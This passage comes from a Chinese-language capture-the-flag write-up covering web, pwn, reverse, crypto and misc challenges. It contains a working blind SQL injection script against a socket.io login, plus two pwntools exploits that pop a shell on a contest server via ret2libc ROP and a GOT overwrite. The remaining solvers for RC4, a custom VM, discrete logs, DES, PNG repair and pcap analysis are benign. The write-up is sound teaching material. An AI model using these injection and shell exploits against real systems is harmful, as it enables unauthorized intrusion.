print(err, data) @sio.event def connect(): print(\u0026#39;connection established\u0026#39;) @sio.event def disconnect(): print(\u0026#39;disconnected from server\u0026#39;) def register(username=\u0026#39;admin\u0026#39;, password=\u0026#39;admin\u0026#39;): RegReq.username = username RegReq.password = password sio.emit(\u0026#39;reg\u0026#39;, RegReq.SerializeToString()) while not recvFlag: pass err, data = _err, _data init() return err, data def login(username=\u0026#39;admin\u0026#39;, password=\u0026#39;admin\u0026#39;): LoginReq.username = username LoginReq.password = password sio.emit(\u0026#39;login\u0026#39;, LoginReq.SerializeToString()) while not recvFlag: pass err, data = _err, _data init() return err, data def init(): global recvFlag, _err, _data recvFlag = False _err = None _data = None if __name__ == \u0026#39;__main__\u0026#39;: sio.connect(url) init() register() # payload = \u0026#34;select group_concat(tbl_name) from sqlite_master where type=\u0026#39;table\u0026#39;\u0026#34; # payload = \u0026#34;select sql from sqlite_master where type=\u0026#39;table\u0026#39; and tbl_name=\u0026#39;f16g_1s_1n_th1s_table\u0026#39;\u0026#34; payload = \u0026#34;select group_concat(f16g) from f16g_1s_1n_th1s_table\u0026#34; length = 0 for i in range(1, 100): err, data = login(\u0026#34;admin\u0026#39; and length((%s))=%d--\u0026#34;%(payload, i)) # print(err, data) if err == 1: pass elif err == 0: length = i break else: print(\u0026#39;Error!\u0026#39;, err, data) print(\u0026#39;Length:\u0026#39;, length) # length = 6 flag = \u0026#39;\u0026#39; for i in range(1, length+1): found = False for c in alphabet: err, data = login(\u0026#34;admin\u0026#39; and hex(substr((%s),%d,1))=\u0026#39;%s\u0026#39;--\u0026#34;%(payload, i, c.encode().hex())) # print(flag+c, err, data) if err == 1: pass elif err == 0: found = True flag += c print(flag) break else: print(\u0026#39;Error!\u0026#39;, err, data) if not found: flag += \u0026#39;\\0\u0026#39; # version: 3.34.0 # table: user_table,sqlite_sequence,f1ag_not_in_here,test_table,f16g_1s_1n_th1s_table # column: \u0026#34;f16g\u0026#34; TEXT # f ag 34e7472f ffcf 400d aec3 a3b4fe390c1d # flag{34e7472f-ffcf-400d-aec3-a3b4fe390c1d} sio.disconnect() 吐槽一下，socket io是基于事件触发的，有点类似于智能合约，请求与响应没有严格的对应关系，只能把请求和响应封装成一个原子操作，模拟传统的HTTP请求，代价就是速度很慢很慢。sql注入部分就是常见的sqlite注入了，但是爆flag的时候不知道为什么有的位即使把0-255跑遍也跑不出来，猜测可能是使用了中文，一个字符不只一个字节，这种情况下的爆破时间过长，所以在脚本中如果常用字符找不到就用\\0占位，缺失的字符按照uuid的格式猜就行了。\nflag{34e7472f-ffcf-400d-aec3-a3b4fe390c1d} Pwn [签到]NssShop 随便输了个数\njustdoit 有一个汇编在调用read_long函数的最后，配合上atol可以任意往上往下更改栈的位置，利用这一点在栈上构造rop用ret2libc拿shell\nadd rbp rax 以下是exp\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./justdoit.1\u0026#34;) p = remote(\u0026#34;47.106.172.144\u0026#34;, 65004) elf = ELF(\u0026#34;./justdoit.1\u0026#34;) libc = ELF(\u0026#34;./libc-2.23.so\u0026#34;) pop_rdi = 0x00000000004012b3 main = 0x4011D5 p.recvuntil(\u0026#34;name?\u0026#34;) p.send(p64(main)+ p64(main) + p64(main)) p.recvuntil(\u0026#34;s??\u0026#34;) p.sendline(b\u0026#34;-24\u0026#34;) p.recvuntil(\u0026#34;name?\u0026#34;) p.send(p64(pop_rdi) + p64(elf.got[\u0026#34;puts\u0026#34;]) + p64(elf.plt[\u0026#34;puts\u0026#34;])) p.recvuntil(\u0026#34;s??\u0026#34;) p.sendline(b\u0026#34;-40\u0026#34;) libc.address = u64(p.recvuntil(\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#34;puts\u0026#34;] print(hex(libc.address)) p.recvuntil(\u0026#34;name?\u0026#34;) p.send(p64(pop_rdi) + p64(libc.search(b\u0026#39;/bin/sh\u0026#39;).__next__()) + p64(libc.sym[\u0026#39;system\u0026#39;])) p.recvuntil(\u0026#34;s??\u0026#34;) p.sendline(b\u0026#34;-40\u0026#34;) p.interactive() reallNeedGoodLuck 任意地址四字节写， 改error的got表为main，改atoi的got表为system，撞上的几率很大，直接手动爆破就行\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) libc = ELF(\u0026#34;./libc-2.23.so\u0026#34;) p=remote(\u0026#34;47.106.172.144\u0026#34;, 65003) # p = process(\u0026#34;./reallNeedGoodLuck.1\u0026#34;) # gdb.attach(p) p.recvuntil(\u0026#34;good\u0026#34;) p.send(b\u0026#34;\\xa9\\x11\\x40\\x00\u0026#34;) p.recvuntil(\u0026#34;luck!\u0026#34;) p.sendline(b\u0026#34;4210744\u0026#34;) p.recvuntil(\u0026#34;good\u0026#34;) p.send(b\u0026#34;\\x00\\x00\\xa0\\xf3\u0026#34;) p.recvuntil(\u0026#34;luck!\u0026#34;) p.sendline(b\u0026#34;4210734\u0026#34;) print(hex(libc.sym[\u0026#34;system\u0026#34;])) p.send(b\u0026#34;\\x00\\x00\\x00\\x00\u0026#34;) p.sendline(b\u0026#34;/bin/sh\\x00\u0026#34;) p.send(b\u0026#34;\\x00\\x00\\x00\\x00\u0026#34;) p.sendline(b\u0026#34;/bin/sh\\x00\u0026#34;) p.interactive() Reverse [签到]Signin [萌新]happyCTF s = \u0026#39;rxusoCqxw{yqK`{KZqag{r`i\u0026#39; for i in s: print(chr(ord(i)^0x14),end=\u0026#39;\u0026#39;) #flag{Welcome_to_Neusoft} Remember Crypt 4 rc4加密，根据密钥解密即可\ndef __rc4_init(key): keylength = len(key) S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % keylength]) % 256 S[i], S[j] = S[j], S[i] return S def rc4_crypt(key, data): S = __rc4_init(key) i = j = 0 result = b\u0026#39;\u0026#39; for a in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = (a ^ S[(S[i] + S[j]) % 256]).to_bytes(1, \u0026#39;big\u0026#39;) result += k return result l = [0x9E, 0xE7, 0x30, 0x5F, 0xA7, 0x01, 0xA6, 0x53, 0x59, 0x1B, 0x0A, 0x20, 0xF1, 0x73, 0xD1, 0x0E, 0xAB, 0x09, 0x84, 0x0E, 0x8D, 0x2B] n = [] for i in l: n.append(i^0x22) from libnum import n2s, s2n def convert(k): ret = [] while k \u0026gt; 0: ret.append(k \u0026amp; 0xff) k \u0026gt;\u0026gt;= 8 return ret[::-1] print(rc4_crypt(convert(s2n(\u0026#39;12345678abcdefghijklmnopqrspxyz\u0026#39;)),n)) #flag{nice_to_meet_you} EasyRe 用信号量实现的VM，先手动反汇编\ncode = [ 17, 52, 0, 42, 5, 16, 20, 9, 23, 0, 36, 5, 3, 17, 29, 6, 0, 0, 5, 3, 17, 64, 6, 0, 72, 5, 17, 29, 23, 14, 1, 21, 4, 15, 1, 22, 2, 0, 0, 4, 3, 5, 16, 20, 50, 5, 9, 2, 19, 29, 5, 18, 21, 4, 16, 20, 61, 10, 1, 19, 52, 3, 4, 18, 14, 1, 21, 4, 7, 1, 22, 2, 0, 0, 4, 3, 5, 16, 20, 85, 5, 9, 1, 19, 64, 5, 18 ] sub_400E1D = \u0026#34;push({});\u0026#34; sub_400E78 = \u0026#34;pop({});\u0026#34; sub_400F16 = \u0026#34;{} += {};\u0026#34; sub_400FA8 = \u0026#34;{} -= {};\u0026#34; eip = 0 # 20 eax = 0 # 16 ebx = 0 # 17 ecx = 0 # 18 edx = 0 # 19 memory = [2] * 0x1000 memory2 = [1] * 50 while eip \u0026lt; len(code): cur_op = code[eip] if cur_op == 0: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % (eip), sub_400E1D.format(cur_arg)) edx += 1 memory[edx] = cur_arg eip += 1 elif cur_op == 1: cur_arg = \u0026#34;eax\u0026#34; print (\u0026#34;_%02X:\u0026#34; % (eip), sub_400E1D.format(cur_arg)) edx += 1 memory[edx] = eax elif cur_op == 2: cur_arg = \u0026#34;ebx\u0026#34; print (\u0026#34;_%02X:\u0026#34; % (eip), sub_400E1D.format(cur_arg)) edx += 1 memory[edx] = ebx elif cur_op == 3: cur_arg = \u0026#34;ecx\u0026#34; print (\u0026#34;_%02X:\u0026#34; % (eip), sub_400E1D.format(cur_arg)) edx += 1 memory[edx] = ecx elif cur_op == 4: cur_arg = \u0026#34;eax\u0026#34; edx -= 1 print (\u0026#34;_%02X:\u0026#34; % eip, sub_400E78.format(cur_arg)) eax = memory[edx] elif cur_op == 5: cur_arg = \u0026#34;ebx\u0026#34; edx -= 1 print (\u0026#34;_%02X:\u0026#34; % eip, sub_400E78.format(cur_arg)) ebx = memory[edx] elif cur_op == 6: cur_arg = \u0026#34;ecx\u0026#34; edx -= 1 print (\u0026#34;_%02X:\u0026#34; % eip, sub_400E78.format(cur_arg)) ecx = memory[edx] elif cur_op == 7: eax += ebx print (\u0026#34;_%02X:\u0026#34; % eip, \u0026#34;eax += ebx;\u0026#34;) elif cur_op == 8: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, sub_400F16.format(\u0026#34;eax\u0026#34;, cur_arg)) eax += cur_arg eip += 1 elif cur_op == 9: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, sub_400F16.format(\u0026#34;ebx\u0026#34;, cur_arg)) ebx += cur_arg eip += 1 elif cur_op == 10: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, sub_400F16.format(\u0026#34;ecx\u0026#34;, cur_arg)) ecx += cur_arg eip += 1 elif cur_op == 11: eax -= ebx print (\u0026#34;_%02X:\u0026#34; % eip, \u0026#34;eax -= ebx;\u0026#34;) elif cur_op == 12: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, sub_400FA8.format(\u0026#34;eax\u0026#34;, cur_arg)) eax -= cur_arg eip += 1 elif cur_op == 13: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, sub_400FA8.format(\u0026#34;ebx\u0026#34;, cur_arg)) ebx -= cur_arg eip += 1 elif cur_op == 14: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, sub_400FA8.format(\u0026#34;ecx\u0026#34;, cur_arg)) eip += 1 elif cur_op == 15: eax ^= ebx print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;eax ^= ebx;\u0026#34;) elif cur_op == 16: zf = (eax == ebx) print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;zf = (eax == ebx);\u0026#34;) elif cur_op == 17: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;push(eip+2); eip = {hex(cur_arg)};\u0026#34;) memory[edx] = eip edx += 1 eip += 1 elif cur_op == 18: edx -= 1 print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;pop(eip);\u0026#34;) elif cur_op == 19: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;eip = {hex(cur_arg)};\u0026#34;) eip += 1 elif cur_op == 20: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;if zf: eip = {hex(cur_arg)};\u0026#34;) eip += 1 elif cur_op == 21: memory[edx] = memory2[ecx] print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;push(memory2[ecx]);\u0026#34;) edx += 1 elif cur_op == 22: edx -= 1 memory2[ecx] = memory[edx] print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;pop(memory2[ecx]);\u0026#34;) elif cur_op == 23: print (\u0026#34;_%02X:\u0026#34; % eip, \u0026#34;break;\u0026#34;) eip += 1 拿到反汇编结果\n_00: push(eip+2); eip = 0x34; _02: push(42); _04: pop(ebx); _05: zf = (eax == ebx); _06: if zf: eip = 0x9; _08: break; _09: push(36); _0B: pop(ebx); _0C: push(ecx); _0D: push(eip+2); eip = 0x1d; _0F: pop(ecx); _10: push(0); _12: pop(ebx); _13: push(ecx); _14: push(eip+2); eip = 0x40; _16: pop(ecx); _17: push(72); _19: pop(ebx); _1A: push(eip+2); eip = 0x1d; _1C: break; _1D: ecx -= 1; _1F: push(memory2[ecx]); _20: pop(eax); _21: eax ^= ebx; _22: push(eax); _23: pop(memory2[ecx]); _24: push(ebx); _25: push(0); _27: pop(eax); _28: push(ecx); _29: pop(ebx); _2A: zf = (eax == ebx); _2B: if zf: eip = 0x32; _2D: pop(ebx); _2E: ebx += 2; _30: eip = 0x1d; _32: pop(ebx); _33: pop(eip); _34: push(memory2[ecx]); _35: pop(eax); _36: zf = (eax == ebx); _37: if zf: eip = 0x3d; _39: ecx += 1; _3B: eip = 0x34; _3D: push(ecx); _3E: pop(eax); _3F: pop(eip); _40: ecx -= 1; _42: push(memory2[ecx]); _43: pop(eax); _44: eax += ebx; _45: push(eax); _46: pop(memory2[ecx]); _47: push(ebx); _48: push(0); _4A: pop(eax); _4B: push(ecx); _4C: pop(ebx); _4D: zf = (eax == ebx); _4E: if zf: eip = 0x55; _50: pop(ebx); _51: ebx += 1; _53: eip = 0x40; _55: pop(ebx); _56: pop(eip); 发现其实是调用了几个函数，分别在0x34、0x40、0x1D\n0x34处的函数判断了长度，0x1D处的函数从后往前异或数字，每次加2，0x40处的函数从后往前进行加法，数字每次加1\n所以最后的加密算法为：首先从后往前 ^36, ^38, ^40，随后从后往前+0, +1, +2\u0026hellip;，最后从后往前 ^72, ^74, ^76\u0026hellip;\n反向解密即可\ns2 = [ 0xA3, 0xD8, 0xAC, 0xA9, 0xA8, 0xD6, 0xA6, 0xCD, 0xD0, 0xD5, 0xF7, 0xB7, 0x9C, 0xB3, 0x31, 0x2D, 0x40, 0x5B, 0x4B, 0x3A, 0xFD, 0x57, 0x42, 0x5F, 0x58, 0x52, 0x54, 0x1B, 0x0C, 0x78, 0x39, 0x2D, 0xD9, 0x3D, 0x35, 0x1F, 0x09, 0x41, 0x40, 0x47, 0x42, 0x11 ] flag = \u0026#39;\u0026#39; x = 36 y = 0 z = 72 for i in s2[::-1]: flag += chr(((i ^ z) - y) ^ x) x += 2 y += 1 z += 2 print (flag[::-1]) # \u0026#39;flag{Now_Y0u_Know_th4_Signa1_0f_Linux!!!!}\u0026#39; Crypto [萌新]素数 使用gmpy2生成10个大素数，然后依次提交即可\n[签到]键盘侠 根据题目名称，猜测和键盘有关系\n将密文放入键盘的对应位置后，发现一组密文在键盘上构成一个图案，这个图案是一个字母\n比如UYTGBNM在键盘上组成一个C，同样的方式和可以还原出其他字母\nsilent_peeper 离散对数，考虑幂只有40bit，用BSGS即可解出答案。\nsage: p = 17480715736546509273132356167852223654917350291331787539356496312333028105252468745075491024000992015452563532 ....: 520952698743383378549938420481917954954410649849158983419586000890687503941868419125253760412312965974672161440234 ....: 6449135195832955793815709136053198207712511838753919608894095907732099313139446299843 ....: g = 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307 ....: 185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366 ....: 973332463469104730271236078593527144954324116802080620822212777139186990364810367977 ....: sage: bsgs(mod(g,p),mod(A,p),(0,1\u0026lt;\u0026lt;40)) 822690494337 sage: bsgs(mod(g,p),mod(B,p),(0,1\u0026lt;\u0026lt;40)) 621209248538 sage: key = pow(A, 621209248538 ,p) sage: key 49490143664250726340234715933627573928019204778410313862054713655398194526581099674219755475997125892095025977920719640048704962181220475413665581922989858463397985369540020911109237604500080688916224884254427061443849735076051958183562833019840975221087968773423237208708556105725003184929141476854095400756 \u0026gt;\u0026gt;\u0026gt; from Crypto.Util.number import * \u0026gt;\u0026gt;\u0026gt; from Crypto.Cipher import AES \u0026gt;\u0026gt;\u0026gt; ciphertext = 0xed5c68ebb65aa3a13afb259cf3984ce60bdc54b7ef918b850745df850cf4c450b02216c0c6e67ed501a17e516496cd6c \u0026gt;\u0026gt;\u0026gt; key = 49490143664250726340234715933627573928019204778410313862054713655398194526581099674219755475997125892095025977920719640048704962181220475413665581922989858463397985369540020911109237604500080688916224884254427061443849735076051958183562833019840975221087968773423237208708556105725003184929141476854095400756 \u0026gt;\u0026gt;\u0026gt; key = long_to_bytes(key)[:16] \u0026gt;\u0026gt;\u0026gt; cipher = AES.new(key, AES.MODE_ECB) \u0026gt;\u0026gt;\u0026gt; cipher.decrypt(int.to_bytes(ciphertext, ciphertext.bit_length()//8, \u0026#39;big\u0026#39;)) b\u0026#39;flag{21384433-0dc7-413b-9d09-64cc97c99730}\\x06\\x06\\x06\\x06\\x06\\x06\u0026#39; EzDES 题目是个DES一轮差分，有数学公式: $ L_1=R_0,R_1=L_0\\oplus f(R_0,K_0) $，其中L1R1,L0R0都是已知量，只需要逆推到s盒附近，通过s盒的结果爆破s盒的输入即可，有65536种可能，然后用剩下几个明密文对验证，排除出剩一种结果。主要代码如下(请将S盒，IP盒等内容分别命名为IP_1.txt，sbox.txt等放入文件src子目录下，详情见代码)\n######################################################################### # Get roundKey ######################################################################### # get the move number def getMoveNum(): res = [0] * 16 for i in range(16): if i == 0 or i == 1 or i == 8 or i == 15: res[i] = 1 else: res[i] = 2 return res # get the PC_1 table and PC_2 table def getPC(): PC_1_str = open(\u0026#39;./src/PC_1.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split() PC_2_str = open(\u0026#39;./src/PC_2.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split() PC_1 = [0] * len(PC_1_str) PC_2 = [0] * len(PC_2_str) for i in range(len(PC_1_str)): PC_1[i] = int(PC_1_str[i]) for i in range(len(PC_2_str)): PC_2[i] = int(PC_2_str[i]) return PC_1, PC_2 # cyclic shift to the left def leftRow(arr, n): temp = [0] * n length = len(arr) for i in range(n): temp[i] = arr[i] for i in range(length): if i \u0026lt; length - n: arr[i] = arr[i + n] else: arr[i] = temp[i - length + n] return arr # get the k0 - k16 def genKey(key): C = [0] * 28 D = [0] * 28 K = [0] * 56 roundKey = [[0]*48 for i in range(16)] PC_1, PC_2 = getPC() moveNum = getMoveNum() # get K+ for i in range(56): K[i] = key[PC_1[i] - 1] # get C0 and D0 for i in range(28): C[i] = K[i] D[i] = K[i + 28] # get roundKey for i in range(16): C = leftRow(C, moveNum[i]) D = leftRow(D, moveNum[i]) for j in range(48): if PC_2[j] \u0026lt;= 28: roundKey[i][j] = C[PC_2[j] - 1] else: roundKey[i][j] = D[PC_2[j] - 28 -1] return roundKey ######################################################################### # Encrypt and Decrypt ######################################################################### #get the IP and PC_1 table def getIP(): IP_str = open(\u0026#39;./src/IP.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split() IP_1_str = open(\u0026#39;./src/IP_1.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split() IP = [0] * len(IP_str) IP_1 = [0] * len(IP_1_str) for i in range(len(IP_str)): IP[i] = int(IP_str[i]) for i in range(len(IP_1_str)): IP_1[i] = int(IP_1_str[i]) return IP, IP_1 # l1 xor l2 def xor(l1, l2): res = [0] * len(l1) for i in range(len(l1)): res[i] = l1[i] ^ l2[i] return res # get the Extend table def getE(): E_str = open(\u0026#39;./src/extend.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split() E = [0] * len(E_str) for i in range(len(E_str)): E[i] = int(E_str[i]) return E # extend R from 32 bit to 48 bit def extend(R): res = [0] * 48 E = getE() for i in range(48): res[i] = R[E[i] - 1] return res # get sbox in 3 dim def getSbox(): S_str = open(\u0026#39;./src/sbox.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split() S = [[[0]*16 for i in range(4)]for i in range(8)] l = 0 for i in range(8): for j in range(4): for k in range(16): S[i][j][k] = int(S_str[l]) l += 1 return S # number in dec to number in bit def d2b(n): res = \u0026#39;\u0026#39; while n \u0026gt; 0: res += chr(n % 2 + ord(\u0026#39;0\u0026#39;)) n = n // 2 while len(res) \u0026lt; 4: res += \u0026#39;0\u0026#39; return res[::-1] # sbox replacement def sbox(ipt): S = getSbox() res = [0] * 32 i, l = 0, 0 while i \u0026lt; 48: j = ipt[i] * 2 + ipt[i + 5] k = ipt[i + 1] * 8 + ipt[i + 2] * 4 + ipt[i + 3] * 2 + ipt[i + 4] temp = d2b(S[l][j][k]) for m in range(4): res[m + l * 4] = int(temp[m]) l += 1 i += 6 return res # get Pbox def getPbox(): P_str = open(\u0026#39;./src/pbox.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split() P = [0] * len(P_str) for i in range(len(P_str)): P[i] = int(P_str[i]) return P # pbox replacement def pbox(ipt): P = getPbox() res = [0] * 32 for i in range(32): res[i] = ipt[P[i] - 1] return res # f function def f(R, K): # extend R E_R = extend(R) # E_R xor K afterADD = xor(E_R, K) # sbox afterSbox = sbox(afterADD) # linear displacement res = pbox(afterSbox) return res # Encrypt function def DES_Encrypt(plaintext, roundkey): M_IP = [0] * 64 cipher = [0] * 64 afterF = [0] * 64 L = [[0] * 32 for i in range(17)] R = [[0] * 32 for i in range(17)] IP, IP_1 = getIP() # get IP replace for i in range(64): M_IP[i] = plaintext[IP[i] - 1] # get L0 and R0 for i in range(32): L[0][i] = M_IP[i] R[0][i] = M_IP[i + 32] for i in range(1,17): # L[i] = R[i - 1] for j in range(32): L[i][j] = R[i - 1][j] R[i] = xor(L[i - 1], f(R[i - 1], roundkey[i - 1])) # merge the R and L for i in range(64): if i \u0026lt; 32: afterF[i] = R[16][i] else: afterF[i] = L[16][i - 32] # using IP_1 replace to get cipher for i in range(64): cipher[i] = afterF[IP_1[i] - 1] return cipher ######################################################################### # Main ######################################################################### # number in hex to number in bin def hex_to_bin(a): b = int(a, 16) res = \u0026#39;\u0026#39; while b \u0026gt; 0: res += chr(b % 2 + ord(\u0026#39;0\u0026#39;)) b = b // 2 while len(res) \u0026lt; 4: res += \u0026#39;0\u0026#39; return res[::-1] # text in hex to text in bin def h2b(s): res = [] for i in s: temp = hex_to_bin(i) for j in range(4): res.append(int(temp[j])) return res # number in bin to number in hex def bin_to_hex(a): b = int(a, 2) return hex(b)[2:] # text in bin to text in hex def b2h(s): res = \u0026#39;\u0026#39; now_bin = \u0026#39;\u0026#39; for i in range(len(s)): now_bin += chr(s[i] + ord(\u0026#39;0\u0026#39;)) if len(now_bin) % 4 == 0: res += bin_to_hex(now_bin) now_bin = \u0026#39;\u0026#39; return res def gen_P_1(): p = getPbox() p_1 = [0] * 32; for i in range(32): p_1[p[i] - 1] = i return p_1 def str2martix(s): m = [0] * 6 for i in range(6): m[i] = int(s[i], 2) return m def solve(plaintext, cipher): m = h2b(plaintext) c = h2b(cipher) C_IP = [0] * 64 M_IP = [0] * 64 cipher = [0] * 64 may_after_xor = [[\u0026#39;\u0026#39;for i in range(4)]for j in range(8)] L = [[0] * 32 for i in range(17)] R = [[0] * 32 for i in range(17)] ast = [0] * 32 IP, IP_1 = getIP() before_p = [0] * 32 S = getSbox() p_1 = gen_P_1() # get IP replace for i in range(64): M_IP[i] = m[IP[i] - 1] C_IP[i] = c[IP[i] - 1] # get L0 and R0 for i in range(32): L[0][i] = M_IP[i] R[0][i] = M_IP[i + 32] for i in range(32): L[1][i] = C_IP[i] R[1][i] = C_IP[i + 32] e = extend(R[0]) cip = xor(R[1], L[0]) for i in range(32): before_p[i] = cip[p_1[i]] # 还原进入sbox前的值 for i in range(8): for j in range(4): for k in range(16): if S[i][j][k] == int(b2h(before_p[i*4:(i+1)*4]), 16): may_after_xor[i][j] = (bin(j)[2:].zfill(2)[0] + bin(k)[2:].zfill(4) + bin(j)[2:].zfill(2)[1]) may_res = [[[]for i in range(4)]for j in range(8)] for i in range(8): for j in range(4): may_after_xor[i][j] = str2martix(may_after_xor[i][j]) # 还原所有可能的K for i in range(8): for j in range(4): may_res[i][j] = (xor(may_after_xor[i][j], e[i*6:(i+1)*6])) return may_res def gen_PC_1(): PC_1, PC_2 = getPC() PC1, PC2 = [-1] * 64, [-1] * 56 for i in range(56): PC1[PC_1[i] - 1] = i for i in range(48): PC2[PC_2[i] - 1] = i return PC1, PC2 # def resolve_key(roundKey): # C = [0] * 28 # D = [0] * 28 # K = [0] * 56 # PC_1, PC_2 = getPC() # PC1, PC2 = gen_PC_1() # moveNum = getMoveNum() # for i in range(48): # if PC2[j] \u0026lt;= 28: # C[PC2[j]] = roundKey[i] # else: # D[PC2[j] - 28] = roundKey[i] # C = leftRow(C, 28 - moveNum[i]) # D = leftRow(D, 28 - moveNum[i]) # for i in range(28): # K[i] = C[i] # K[i + 28] = D[i] # for i in range(56): # key[PC1[i]] = K[i] # return key if __name__ == \u0026#39;__main__\u0026#39;: plaintext1 = \u0026#34;4845AB454511C0F0\u0026#34; miwen1 = \u0026#34;2EA85F08AA80C2D2\u0026#34; plaintext2 = \u0026#34;0123456789ABCDEF\u0026#34; miwen2 = \u0026#34;0293A8B9E45FCE5D\u0026#34; plaintext3 = \u0026#34;81120015A001FDF1\u0026#34; miwen3 = \u0026#34;E88382207800FE7A\u0026#34; plaintext4 = \u0026#34;2214500AEF00CD48\u0026#34; miwen4=\u0026#34;B38AA0AD7720E4AC\u0026#34; plaintext5 = \u0026#34;5791AC22121B1234\u0026#34; miwen5=\u0026#34;A3C0DEB9AB0F833A\u0026#34; K1 = solve(plaintext1, miwen1) K2 = solve(plaintext2, miwen2) K3 = solve(plaintext3, miwen3) K4 = solve(plaintext4, miwen4) K5 = solve(plaintext5, miwen5) K = [] for i in range(8): for j in range(4): if (K1[i][j] in K2[i]) and (K1[i][j] in K3[i]) and (K1[i][j] in K4[i]) and (K1[i][j] in K5[i]): print(i, j) K += K1[i][j] print(K) Misc [萌新]在哪儿呢 PDF里面有很多不可见字符，直接复制粘贴到sublime里面就可以看到flag\nflag{hey_there_is_no_thing}\n[签到]签到 题目描述，直接提交\n只是个PNG，别想太多了.png 拿到png，利用pngdebugger查，发现后面的块恢复成IDAT就行\ncrc不对，爆破长宽，抄了个大师傅的脚本\nimport zlib import struct file = \u0026#39;PNG.png\u0026#39; fr = open(file,\u0026#39;rb\u0026#39;).read() data = bytearray(fr[12:29]) crc32key = eval(str(fr[29:33]).replace(\u0026#39;\\\\x\u0026#39;,\u0026#39;\u0026#39;).replace(\u0026#34;b\u0026#39;\u0026#34;,\u0026#39;0x\u0026#39;).replace(\u0026#34;\u0026#39;\u0026#34;,\u0026#39;\u0026#39;)) #crc32key = 0xCBD6DF8A #data = bytearray(b\u0026#39;\\x49\\x48\\x44\\x52\\x00\\x00\\x01\\xF4\\x00\\x00\\x01\\xF1\\x08\\x06\\x00\\x00\\x00\u0026#39;) n = 4095 for w in range(n): width = bytearray(struct.pack(\u0026#39;\u0026gt;i\u0026#39;, w)) for h in range(n): height = bytearray(struct.pack(\u0026#39;\u0026gt;i\u0026#39;, h)) for x in range(4): data[x+4] = width[x] data[x+8] = height[x] #print(data) crc32result = zlib.crc32(data) if crc32result == crc32key: print(width,height) newpic = bytearray(fr) for x in range(4): newpic[x+16] = width[x] newpic[x+20] = height[x] fw = open(file+\u0026#39;.png\u0026#39;,\u0026#39;wb\u0026#39;) fw.write(newpic) fw.close # return None 恢复后图片新增内容\n看到多了一个压缩的部分，拿binwalk分了下，flag在后面的文件中\nflag{zhe_ti_mu_ye_tai_bt_le_XD}\n压缩包压缩包压缩包压缩包 import zipfile import os for i in range(0,1000): name = os.listdir(\u0026#34;./\u0026#34;)[0] zfile = zipfile.ZipFile(name,\u0026#39;r\u0026#39;) in_file = zfile.namelist()[0] passwd = in_file[0:-4] zfile.extract(in_file, \u0026#39;./\u0026#39;,bytes(passwd,encoding =\u0026#34;ascii\u0026#34;)) zfile.close() os.remove(name) 解出23333.zip\n密码根据规律猜测是3-6位，爆破得到756698是密码\n010editor搜索flag得到flag\nflag{Unz1p_i5_So_C00l##}\nrange_download 过滤dns报文，存在几条query name为xx.nss.neusoft.edu.cn的dns请求包，应该是base64编码的dns隧道，上脚本分析：\nimport pyshark import re import base64 cap = pyshark.FileCapture(\u0026#39;range.pcapng\u0026#39;,display_filter=\u0026#39;dns and dns.flags==0x00000100 and dns.qry.name matches \u0026#34;^[^.-]*\\.nss.neusoft.edu.cn$\u0026#34;\u0026#39;) datas = [] ids = [] for pkt in cap: name = pkt.dns.qry_name id = pkt.dns.id match = re.search(\u0026#39;^([^.-]*)\\.nss.neusoft.edu.cn$\u0026#39;, name) data = \u0026#39;\u0026#39; if match: data = match.group(1) if data == \u0026#39;\u0026#39;: print(\u0026#39;error! \u0026#39; + name) if id in ids: continue datas.append(data) ids.append(id) line = \u0026#39;\u0026#39;.join(datas) img = base64.b64decode(line.encode()) print(img) cap.close() 跑出来是password: nss_yyds!\n过滤http协议，全都是206 Partial Content，把flag.7z一个字节一个字节地传了过来，顺序是乱的，需要写脚本恢复。调试的时候发现基本每个字节都会被传输很多次，并且有一个字节没有被传输，这些在写脚本的时候都需要注意到。\nimport pyshark import re import base64 cap = pyshark.FileCapture(\u0026#39;range.pcapng\u0026#39;,display_filter=\u0026#39;http and http.response.code == 206\u0026#39;) data = bytearray(2460) poslist = [False for i in range(2460)] for pkt in cap: length = int(pkt.http.content_length) payload = pkt.http.file_data.binary_value for field in pkt.http.response_line.alternate_fields: if field.showname_key == \u0026#39;Content-Range\u0026#39;: pos_start = -1 pos_end = -1 contentRange = field.showname_value.strip(\u0026#39;\\\\r\\\\n\u0026#39;) match = re.search(\u0026#39;bytes (\\d+)-(\\d+)/\\d+\u0026#39;, contentRange) if match: pos_start = int(match.group(1)) pos_end = int(match.group(2)) assert(pos_end - pos_start + 1 == length) for i in range(pos_start, pos_end+1): if poslist[i] == True: assert(data[i] == payload[i-pos_start]) else: 